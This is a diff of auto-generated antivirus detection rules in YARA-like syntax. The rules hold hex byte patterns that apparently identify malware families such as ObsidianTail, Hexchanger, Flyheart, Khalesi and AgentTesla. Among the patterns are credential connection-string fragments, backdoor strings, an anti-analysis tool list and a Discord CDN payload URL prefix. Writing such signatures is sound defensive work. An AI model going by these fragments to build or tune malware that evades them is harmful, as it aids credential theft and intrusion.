67 65 74 5f 54 6f 74 61 6c 53 69 7a 65 00 00 78 8d 01 00 03 00 03 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 62 73 69 64 69 61 6e 54 61 69 6c 2e 41 } //29807 + $a_00_8 = {72 00 76 00 65 00 72 00 3d 00 2e 00 3b 00 44 00 61 00 74 00 61 00 62 00 61 00 73 00 65 00 3d 00 90 02 0a 3b 00 55 00 73 00 65 00 72 00 20 00 49 00 64 00 3d 00 90 02 20 3b 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 3d 00 90 02 20 3b 00 54 00 72 00 75 00 73 00 74 00 53 00 65 00 72 00 76 00 65 00 } //83 + $a_00_9 = {65 00 72 00 74 00 69 00 66 00 69 00 63 00 61 00 74 00 65 00 3d 00 59 00 65 00 73 00 3b 00 90 00 01 00 3e 01 43 3a 5c 55 73 65 72 73 5c 41 64 6d 69 6e 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 4b 52 47 } //114 + $a_47_10 = {6f 62 6a 5c 52 65 6c 65 61 73 65 5c 6e 65 74 39 2e 30 5c 4b 52 47 2e 70 64 62 01 00 3a 01 49 00 6e 00 76 00 61 00 6c 00 69 00 64 00 20 00 55 00 73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 20 00 6f 00 72 00 20 00 50 00 61 00 73 00 73 00 77 00 6f 00 } //19292 + $a_00_11 = {21 00 01 00 4e 01 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 20 00 70 00 61 00 74 00 68 00 20 00 63 00 61 00 6e 00 6e 00 6f 00 74 00 20 00 62 00 65 00 20 00 6e 00 75 00 6c 00 6c 00 20 00 6f 00 72 00 20 00 65 00 6d 00 70 00 74 00 79 00 2e 00 00 00 78 8d 01 00 03 00 03 00 06 00 21 23 41 4c } //114 + $a_72_12 = {6a 61 6e 3a 4d 53 49 4c 2f 48 65 78 63 68 61 6e 67 65 72 2e 41 21 64 68 61 00 02 00 2c 01 49 00 6e 00 76 00 61 00 6c 00 69 00 64 00 20 00 42 00 61 00 63 00 6b 00 64 00 6f 00 6f 00 72 00 20 00 74 00 79 00 70 00 65 00 2e 00 02 00 60 01 43 00 42 00 32 00 } //14918 + $a_00_13 = {31 00 41 00 42 00 44 00 41 00 46 00 38 00 45 00 39 00 44 00 43 00 35 00 31 00 36 00 44 00 36 00 32 00 31 00 44 00 38 00 42 00 38 00 42 00 46 00 31 00 } //55 1ABDAF8E9DC516D621D8B8BF1 condition: - ((#a_6e_0 & 1)*21027+(#a_2d_1 & 1)*12593+(#a_7b_2 & 1)*-32487+(#a_2d_3 & 1)*12593+(#a_44_4 & 1)*-32495+(#a_65_5 & 1)*26485+(#a_6c_6 & 1)*29807+(#a_00_7 & 1)*97+(#a_00_8 & 1)*73+(#a_00_9 & 1)*67+(#a_00_11 & 1)*97+(#a_00_12 & 1)*108+(#a_6c_13 & 1)*24376) >=175 + ((#a_6e_0 & 1)*21027+(#a_2d_1 & 1)*12593+(#a_7b_2 & 1)*-32487+(#a_2d_3 & 1)*12593+(#a_44_4 & 1)*-32495+(#a_65_5 & 1)*26485+(#a_6c_6 & 1)*29807+(#a_00_8 & 1)*83+(#a_00_9 & 1)*114+(#a_47_10 & 1)*19292+(#a_00_11 & 1)*114+(#a_72_12 & 1)*14918+(#a_00_13 & 1)*55) >=175 } -rule _InfrastructureShared_18919{ +rule _InfrastructureShared_20106{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 62 73 69 64 69 61 6e 54 61 69 6c 2e 41 00 01 00 8d 03 53 00 65 00 72 00 76 00 65 00 72 00 3d 00 2e 00 3b 00 44 00 61 00 74 00 61 00 62 00 61 00 73 00 65 00 3d 00 90 02 0a 3b 00 55 00 73 } //16675 + $a_00_2 = {64 00 3d 00 90 02 20 3b 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 3d 00 90 02 20 3b 00 54 00 72 00 75 00 73 00 74 00 53 00 65 00 72 00 76 00 65 00 72 00 43 00 65 00 72 00 74 00 69 00 66 00 69 00 63 00 61 00 74 } //32 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32) >=3 + +} +rule _InfrastructureShared_20107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -231438,7 +246100,7 @@ rule _InfrastructureShared_18919{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*67+(#a_00_3 & 1)*69+(#a_00_4 & 1)*76) >=3 } -rule _InfrastructureShared_18920{ +rule _InfrastructureShared_20108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -231452,7 +246114,7 @@ rule _InfrastructureShared_18920{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*26995+(#a_54_2 & 1)*20041+(#a_09_3 & 1)*11408+(#a_2d_4 & 1)*14637) >=5 } -rule _InfrastructureShared_18921{ +rule _InfrastructureShared_20109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -231467,7 +246129,7 @@ rule _InfrastructureShared_18921{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111+(#a_00_2 & 1)*102+(#a_00_4 & 1)*104+(#a_65_5 & 1)*28005+(#a_61_6 & 1)*24436) >=7 } -rule _InfrastructureShared_18922{ +rule _InfrastructureShared_20110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -231482,7 +246144,7 @@ rule _InfrastructureShared_18922{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*-32758+(#a_69_2 & 1)*26989+(#a_72_3 & 1)*19521+(#a_42_4 & 1)*31350+(#a_54_6 & 1)*8448) >=8 } -rule _InfrastructureShared_18923{ +rule _InfrastructureShared_20111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0a 00 21 " @@ -231498,7 +246160,7 @@ rule _InfrastructureShared_18923{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*121+(#a_00_3 & 1)*114+(#a_00_4 & 1)*103+(#a_00_5 & 1)*29541+(#a_90_7 & 1)*332+(#a_00_9 & 1)*0) >=11 } -rule _InfrastructureShared_18924{ +rule _InfrastructureShared_20112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -231519,7 +246181,7 @@ rule _InfrastructureShared_18924{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*21331+(#a_75_2 & 1)*29541+(#a_65_3 & 1)*26163+(#a_52_5 & 1)*21320+(#a_65_6 & 1)*27745+(#a_74_7 & 1)*29285+(#a_74_8 & 1)*26990+(#a_61_9 & 1)*29541+(#a_00_10 & 1)*25968+(#a_6e_11 & 1)*384+(#a_80_12 & 1)*1) >=13 } -rule _InfrastructureShared_18925{ +rule _InfrastructureShared_20113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 15 00 21 " @@ -231546,7 +246208,7 @@ rule _InfrastructureShared_18925{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*29811+(#a_58_2 & 1)*24940+(#a_6f_3 & 1)*24946+(#a_51_4 & 1)*22607+(#a_01_5 & 1)*4096+(#a_01_6 & 1)*7424+(#a_61_7 & 1)*29249+(#a_90_8 & 1)*-16127+(#a_03_9 & 1)*11012+(#a_00_11 & 1)*118+(#a_00_12 & 1)*87+(#a_00_13 & 1)*105+(#a_00_15 & 1)*84+(#a_6a_16 & 1)*27152+(#a_ff_18 & 1)*-4596+(#a_50_19 & 1)*17803+(#a_01_20 & 1)*-24063) >=18 } -rule _InfrastructureShared_18926{ +rule _InfrastructureShared_20114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,20 00 20 00 0e 00 21 " @@ -231568,7 +246230,7 @@ rule _InfrastructureShared_18926{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*790+(#a_34_2 & 1)*12848+(#a_70_3 & 1)*24931+(#a_72_4 & 1)*26691+(#a_01_5 & 1)*-28587+(#a_89_6 & 1)*400+(#a_8b_7 & 1)*400+(#a_01_8 & 1)*-28479+(#a_04_9 & 1)*-28479+(#a_00_10 & 1)*-17331+(#a_00_11 & 1)*-15612+(#a_3a_13 & 1)*19521) >=32 } -rule _InfrastructureShared_18927{ +rule _InfrastructureShared_20115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 05 00 21 " @@ -231582,7 +246244,7 @@ rule _InfrastructureShared_18927{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28440+(#a_01_2 & 1)*-28595+(#a_01_3 & 1)*-28479+(#a_04_4 & 1)*-28479) >=50 } -rule _InfrastructureShared_18928{ +rule _InfrastructureShared_20116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -231595,7 +246257,7 @@ rule _InfrastructureShared_18928{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_2 & 1)*72+(#a_01_4 & 1)*101) >=1 } -rule _InfrastructureShared_18929{ +rule _InfrastructureShared_20117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -231608,7 +246270,7 @@ rule _InfrastructureShared_18929{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*-8051+(#a_94_2 & 1)*-29440+(#a_00_3 & 1)*28426) >=2 } -rule _InfrastructureShared_18930{ +rule _InfrastructureShared_20118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -231620,7 +246282,7 @@ rule _InfrastructureShared_18930{ ((#a_46_0 & 1)*21283+(#a_2c_1 & 1)*3078+(#a_0d_2 & 1)*0) >=2 } -rule _InfrastructureShared_18931{ +rule _InfrastructureShared_20119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -231633,7 +246295,7 @@ rule _InfrastructureShared_18931{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672+(#a_01_2 & 1)*-28560+(#a_00_3 & 1)*14637) >=3 } -rule _InfrastructureShared_18932{ +rule _InfrastructureShared_20120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -231645,7 +246307,7 @@ rule _InfrastructureShared_18932{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*105+(#a_00_3 & 1)*113) >=5 } -rule _InfrastructureShared_18933{ +rule _InfrastructureShared_20121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -231663,7 +246325,7 @@ rule _InfrastructureShared_18933{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*13362+(#a_65_2 & 1)*12084+(#a_6e_3 & 1)*13108+(#a_00_4 & 1)*26480+(#a_70_5 & 1)*29797+(#a_32_6 & 1)*28265+(#a_04_7 & 1)*-28491+(#a_3b_8 & 1)*13494) >=6 } -rule _InfrastructureShared_18934{ +rule _InfrastructureShared_20122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 05 00 05 00 21 " @@ -231677,7 +246339,7 @@ rule _InfrastructureShared_18934{ ((#a_46_0 & 1)*16675+(#a_b4_1 & 1)*1025+(#a_14_2 & 1)*1025+(#a_b5_3 & 1)*-461+(#a_69_4 & 1)*14962) >=5 } -rule _InfrastructureShared_18935{ +rule _InfrastructureShared_20123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0c 00 21 " @@ -231695,7 +246357,7 @@ rule _InfrastructureShared_18935{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*8300+(#a_66_2 & 1)*29289+(#a_74_3 & 1)*29742+(#a_01_4 & 1)*30720+(#a_00_6 & 1)*68+(#a_00_8 & 1)*114+(#a_00_10 & 1)*110+(#a_74_11 & 1)*28233) >=8 } -rule _InfrastructureShared_18936{ +rule _InfrastructureShared_20124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 21 " @@ -231711,7 +246373,7 @@ rule _InfrastructureShared_18936{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*121+(#a_00_3 & 1)*110+(#a_00_5 & 1)*1+(#a_03_6 & 1)*2+(#a_8e_7 & 1)*0+(#a_39_8 & 1)*14388) >=10 } -rule _InfrastructureShared_18937{ +rule _InfrastructureShared_20125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -231729,7 +246391,7 @@ rule _InfrastructureShared_18937{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*19551+(#a_00_2 & 1)*40+(#a_00_4 & 1)*117+(#a_54_5 & 1)*18467+(#a_72_6 & 1)*27499+(#a_6f_7 & 1)*25711+(#a_74_8 & 1)*24946+(#a_67_9 & 1)*12108) >=10 } -rule _InfrastructureShared_18938{ +rule _InfrastructureShared_20126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -231748,7 +246410,7 @@ rule _InfrastructureShared_18938{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*27499+(#a_6f_2 & 1)*25711+(#a_74_3 & 1)*24946+(#a_67_4 & 1)*12108+(#a_04_5 & 1)*-28632+(#a_11_6 & 1)*2314+(#a_11_7 & 1)*4952+(#a_17_8 & 1)*-15054+(#a_90_9 & 1)*1796) >=10 } -rule _InfrastructureShared_18939{ +rule _InfrastructureShared_20127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -231768,7 +246430,7 @@ rule _InfrastructureShared_18939{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*2323+(#a_05_2 & 1)*22551+(#a_6f_3 & 1)*1041+(#a_02_4 & 1)*12544+(#a_90_5 & 1)*1024+(#a_54_6 & 1)*-32506+(#a_01_7 & 1)*29817+(#a_31_8 & 1)*24877+(#a_4d_9 & 1)*21586+(#a_53_10 & 1)*9984) >=11 } -rule _InfrastructureShared_18940{ +rule _InfrastructureShared_20128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -231789,7 +246451,7 @@ rule _InfrastructureShared_18940{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*29797+(#a_6f_2 & 1)*24387+(#a_74_3 & 1)*28486+(#a_00_4 & 1)*27745+(#a_01_5 & 1)*5+(#a_00_6 & 1)*5+(#a_01_7 & 1)*5+(#a_01_8 & 1)*5+(#a_01_9 & 1)*4+(#a_01_10 & 1)*4+(#a_01_11 & 1)*4) >=12 } -rule _InfrastructureShared_18941{ +rule _InfrastructureShared_20129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 0c 00 21 " @@ -231809,7 +246471,7 @@ rule _InfrastructureShared_18941{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*21569+(#a_00_2 & 1)*116+(#a_00_3 & 1)*108+(#a_46_4 & 1)*16675+(#a_72_5 & 1)*26707+(#a_5c_6 & 1)*26223+(#a_c0_7 & 1)*-30206+(#a_00_8 & 1)*50+(#a_00_9 & 1)*55+(#a_00_11 & 1)*69) >=20 } -rule _InfrastructureShared_18942{ +rule _InfrastructureShared_20130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,40 01 ffffffdc 00 05 00 21 " @@ -231823,7 +246485,7 @@ rule _InfrastructureShared_18942{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*26707+(#a_5c_2 & 1)*26223+(#a_c0_3 & 1)*-30206+(#a_00_4 & 1)*50) >=220 } -rule _InfrastructureShared_18943{ +rule _InfrastructureShared_20131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -231835,7 +246497,7 @@ rule _InfrastructureShared_18943{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*65+(#a_00_2 & 1)*56) >=1 } -rule _InfrastructureShared_18944{ +rule _InfrastructureShared_20132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -231847,7 +246509,7 @@ rule _InfrastructureShared_18944{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25455+(#a_00_3 & 1)*110) >=5 } -rule _InfrastructureShared_18945{ +rule _InfrastructureShared_20133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -231861,7 +246523,7 @@ rule _InfrastructureShared_18945{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*27490+(#a_40_2 & 1)*16420+(#a_24_3 & 1)*9280+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_18946{ +rule _InfrastructureShared_20134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -231876,7 +246538,7 @@ rule _InfrastructureShared_18946{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*88+(#a_00_3 & 1)*99+(#a_6b_4 & 1)*19563+(#a_73_5 & 1)*29230+(#a_00_6 & 1)*116) >=7 } -rule _InfrastructureShared_18947{ +rule _InfrastructureShared_20135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -231891,7 +246553,7 @@ rule _InfrastructureShared_18947{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*82+(#a_00_4 & 1)*115+(#a_66_5 & 1)*11570+(#a_46_6 & 1)*25927+(#a_65_7 & 1)*28261) >=8 } -rule _InfrastructureShared_18948{ +rule _InfrastructureShared_20136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -231901,14 +246563,36 @@ rule _InfrastructureShared_18948{ $a_76_2 = {6b 01 00 22 81 01 25 73 69 67 74 65 6b 6f 72 6e 65 74 73 25 5c 6c 65 6f 5c 72 65 78 69 6e 65 5c 63 63 68 61 64 64 69 65 01 00 1b 81 01 36 } //12600 $a_6f_3 = {74 65 5c 61 6e 67 72 65 62 73 6d 61 61 64 65 6e 73 2e 53 74 72 01 00 26 81 01 25 41 6e 73 6f 65 67 65 25 5c 70 72 65 6d 69 65 72 6c 6a 74 6e 61 6e 74 65 6e 5c 48 72 64 65 64 65 73 2e 73 67 65 01 00 14 81 01 25 25 5c 77 61 6e 6a 61 73 5c 4a 75 67 77 66 72 2e 69 6e 69 01 00 0f 81 01 75 64 6b 72 61 6d 6d 65 64 65 73 2e 74 } //29532 $a_00_4 = {0c } //30322 - $a_6f_5 = {6f 67 72 61 6d 2e 65 78 65 00 00 78 90 01 00 02 00 02 00 07 00 21 23 53 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 6c 79 68 65 61 72 74 2e 41 21 64 68 61 00 01 00 28 01 5c 00 63 00 75 00 70 00 69 00 64 00 5c 00 56 00 65 00 6e 00 75 00 73 00 5c 00 41 00 72 00 63 00 68 00 65 00 72 00 5c 00 01 00 2e 01 52 00 75 00 6e 00 52 00 65 } //385 - $a_00_7 = {6e 00 64 00 45 00 78 00 63 00 68 00 61 00 6e 00 67 00 65 00 4b 00 65 00 79 00 73 00 01 00 5c 01 46 00 61 00 69 00 6c 00 65 00 64 00 20 00 72 00 65 00 67 00 69 00 73 00 74 00 65 00 72 00 69 00 6e } //110 - $a_00_9 = {77 00 20 00 69 00 6e 00 66 00 65 00 63 00 74 00 69 00 6f 00 6e 00 20 00 7b 00 49 00 6e 00 66 00 65 00 63 00 74 00 69 00 6f 00 6e 00 49 00 64 00 7d 00 01 00 4c 01 50 00 69 00 78 00 65 00 6c 00 20 00 32 00 20 00 58 00 4c 00 7c 00 50 00 69 00 78 00 65 00 6c 00 20 00 32 00 7c 00 50 00 69 00 78 00 65 00 6c } //110 + $a_6f_5 = {6f 67 72 61 6d 2e 65 78 65 00 00 78 8f 01 00 0b 00 0b 00 11 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 4b 68 61 6c 65 73 69 2e 47 56 41 31 00 02 00 19 01 43 72 6f 77 62 61 72 5f 52 65 76 65 72 73 65 5f 54 6f 6f 6c 73 2e 65 78 65 02 00 0e 01 46 69 64 64 6c 65 72 43 61 70 2e 65 78 65 02 00 11 01 52 45 54 6f 6f 6c 73 5f 53 65 74 75 70 2e 65 78 65 02 } //385 + $a_52_6 = {76 } //7168 v + $a_65_7 = {6e 67 69 6e 65 65 72 69 6e 67 5f 53 75 69 74 65 2e 65 78 65 02 00 10 01 48 65 78 45 64 69 74 6f 72 50 72 6f 2e 65 78 65 02 00 10 01 44 65 62 75 67 54 6f 6f 6c 4b 69 74 2e 65 78 65 02 00 0b 01 4f 6c 6c 79 44 62 67 2e 65 78 65 02 00 0b 01 49 44 41 20 50 72 6f 2e 65 78 65 02 00 0d 01 57 69 72 65 73 68 61 72 6b 2e 65 78 65 02 00 0b 01 46 69 64 64 } //29285 + $a_2e_8 = {78 65 02 00 0a 01 47 68 69 64 72 61 2e 65 78 65 02 00 0d 01 44 65 62 75 67 56 69 65 77 2e 65 78 65 02 00 0c 01 50 72 6f 63 44 75 6d 70 2e 65 78 65 02 00 0d 01 50 72 6f 63 4d 6f 6e 36 34 2e 65 78 65 02 00 0d 01 50 72 6f 63 4d 6f 6e 33 32 2e 65 78 65 02 00 13 01 44 65 62 75 67 67 65 72 73 5f 53 65 74 75 70 2e 65 78 65 05 00 37 02 33 d2 b9 02 } //25964 condition: - ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*29811+(#a_76_2 & 1)*12600+(#a_6f_3 & 1)*29532+(#a_00_4 & 1)*30322+(#a_6f_5 & 1)*385+(#a_00_7 & 1)*110+(#a_00_9 & 1)*110) >=10 + ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*29811+(#a_76_2 & 1)*12600+(#a_6f_3 & 1)*29532+(#a_00_4 & 1)*30322+(#a_6f_5 & 1)*385+(#a_52_6 & 1)*7168+(#a_65_7 & 1)*29285+(#a_2e_8 & 1)*25964) >=10 } -rule _InfrastructureShared_18949{ +rule _InfrastructureShared_20137{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 11 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 36 34 2f 4b 68 61 6c 65 73 69 2e 47 56 41 31 00 02 00 19 01 43 72 6f 77 62 61 72 5f 52 65 76 65 72 73 65 5f 54 6f 6f 6c 73 2e 65 78 65 02 00 0e 01 46 69 64 64 6c 65 72 43 61 70 2e 65 78 65 02 00 11 01 52 45 54 6f 6f 6c 73 5f 53 65 74 75 } //18467 + $a_78_1 = {02 00 1c 01 52 65 76 65 72 73 65 45 6e 67 69 6e 65 65 72 69 6e 67 5f 53 75 69 74 65 2e 65 78 65 02 00 10 01 48 65 78 45 64 69 74 6f 72 50 72 6f 2e 65 78 65 02 00 10 01 44 65 62 75 67 54 6f 6f 6c 4b 69 74 2e 65 78 65 02 00 0b 01 4f 6c 6c 79 44 62 67 2e 65 78 65 02 00 0b 01 49 44 41 20 50 72 6f 2e 65 78 } //11888 + $a_72_3 = {73 68 61 72 6b 2e 65 78 65 02 00 0b 01 46 69 64 64 6c 65 72 2e 65 78 65 02 00 0a 01 47 68 69 64 72 61 2e 65 78 65 02 00 0d 01 44 65 62 75 67 56 69 65 77 2e 65 78 65 02 00 0c 01 50 72 6f 63 44 75 6d 70 2e 65 78 65 02 00 0d 01 50 72 6f 63 4d 6f 6e 36 34 2e 65 78 65 02 00 0d 01 50 72 6f 63 4d 6f 6e 33 32 2e 65 78 65 } //22273 + $a_01_4 = {44 65 62 75 67 67 65 72 73 5f 53 65 74 75 70 2e 65 78 65 } //2 Debuggers_Setup.exe + $a_02_5 = {33 d2 b9 02 00 00 00 ff 15 ?? ?? 0c 00 48 8b f8 48 83 f8 ff 0f 84 97 00 00 00 c7 45 c0 30 01 00 00 48 8d 55 c0 48 8b c8 ff 15 ?? ?? 0c 00 33 f6 85 c0 74 } //5 + $a_90_6 = {00 02 00 02 00 07 00 21 23 53 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 6c 79 68 65 61 72 74 2e 41 21 64 68 61 00 01 00 28 01 5c 00 63 00 75 00 70 00 69 00 64 00 5c 00 56 00 65 00 6e 00 75 00 73 00 5c 00 41 00 72 00 63 00 68 00 65 00 72 00 5c 00 01 00 2e 01 52 00 75 00 6e 00 52 00 65 00 63 00 6f 00 6e 00 41 00 6e 00 64 00 45 00 78 00 63 } //0 ȀȀ܀℀匣䙌䕐㩒慈正潔汯䴺䥓⽌汆桹慥瑲䄮搡慨Ā⠀封挀甀瀀椀搀尀嘀攀渀甀猀尀䄀爀挀栀攀爀尀Ā⸀刁甀渀刀攀挀漀渀䄀渀搀䔀砀挀 + $a_00_8 = {65 00 4b 00 65 00 79 00 73 00 01 00 5c 01 46 00 61 00 69 00 6c 00 65 00 64 00 20 00 72 00 65 00 67 00 69 00 73 00 74 00 65 00 72 00 69 00 6e 00 67 00 20 00 6e 00 65 00 77 00 20 00 69 00 6e 00 66 00 65 00 63 00 74 00 69 00 6f 00 6e 00 20 00 7b 00 49 00 6e 00 66 00 65 00 63 00 74 00 69 00 6f 00 6e 00 49 00 64 } //110 + $a_50_10 = {69 } //19456 i + $a_00_12 = {32 00 20 00 58 00 4c 00 7c 00 50 00 69 00 78 00 65 00 6c 00 20 00 32 00 7c 00 50 00 69 00 78 00 } //108 2 XL|Pixel 2|Pix + $a_00_13 = {20 00 33 00 20 00 58 00 4c 00 7c 00 50 00 69 00 78 00 65 00 6c 00 20 00 33 00 7c 00 01 00 1a 01 49 00 4e 00 44 00 5f 00 4d 00 4f 00 44 00 5f 00 43 00 4f 00 43 00 4b 00 00 00 01 00 14 01 49 00 4e 00 44 00 5f 00 4d 00 4f 00 44 00 5f 00 49 00 4d 00 01 00 1a 01 47 00 65 00 74 00 45 00 78 00 70 00 6c 00 6f 00 69 00 74 00 4b 00 } //101 + $a_00_14 = {00 00 78 90 01 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4b 41 45 31 31 39 21 4d 54 42 00 01 00 25 81 01 24 39 64 64 37 33 38 64 63 2d 38 35 62 32 2d 34 32 65 62 2d 38 38 30 31 2d 30 32 38 39 33 61 61 39 36 35 39 36 01 00 20 01 58 00 63 00 6a 00 72 00 72 00 76 00 7a 00 6c 00 72 00 6f 00 6d } //101 + $a_00_16 = {75 00 01 00 c6 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 31 00 30 00 32 00 31 00 37 00 30 00 38 } //117 + condition: + ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*11888+(#a_72_3 & 1)*22273+(#a_01_4 & 1)*2+(#a_02_5 & 1)*5+(#a_90_6 & 1)*0+(#a_00_8 & 1)*110+(#a_50_10 & 1)*19456+(#a_00_12 & 1)*108+(#a_00_13 & 1)*101+(#a_00_14 & 1)*101+(#a_00_16 & 1)*117) >=11 + +} +rule _InfrastructureShared_20138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -231924,7 +246608,7 @@ rule _InfrastructureShared_18949{ ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=2 } -rule _InfrastructureShared_18950{ +rule _InfrastructureShared_20139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -231937,7 +246621,7 @@ rule _InfrastructureShared_18950{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*114+(#a_00_3 & 1)*48+(#a_00_4 & 1)*57) >=5 } -rule _InfrastructureShared_18951{ +rule _InfrastructureShared_20140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -231950,7 +246634,7 @@ rule _InfrastructureShared_18951{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*3908+(#a_44_3 & 1)*1025+(#a_4c_4 & 1)*-30388) >=5 } -rule _InfrastructureShared_18952{ +rule _InfrastructureShared_20141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -231970,7 +246654,7 @@ rule _InfrastructureShared_18952{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25970+(#a_73_2 & 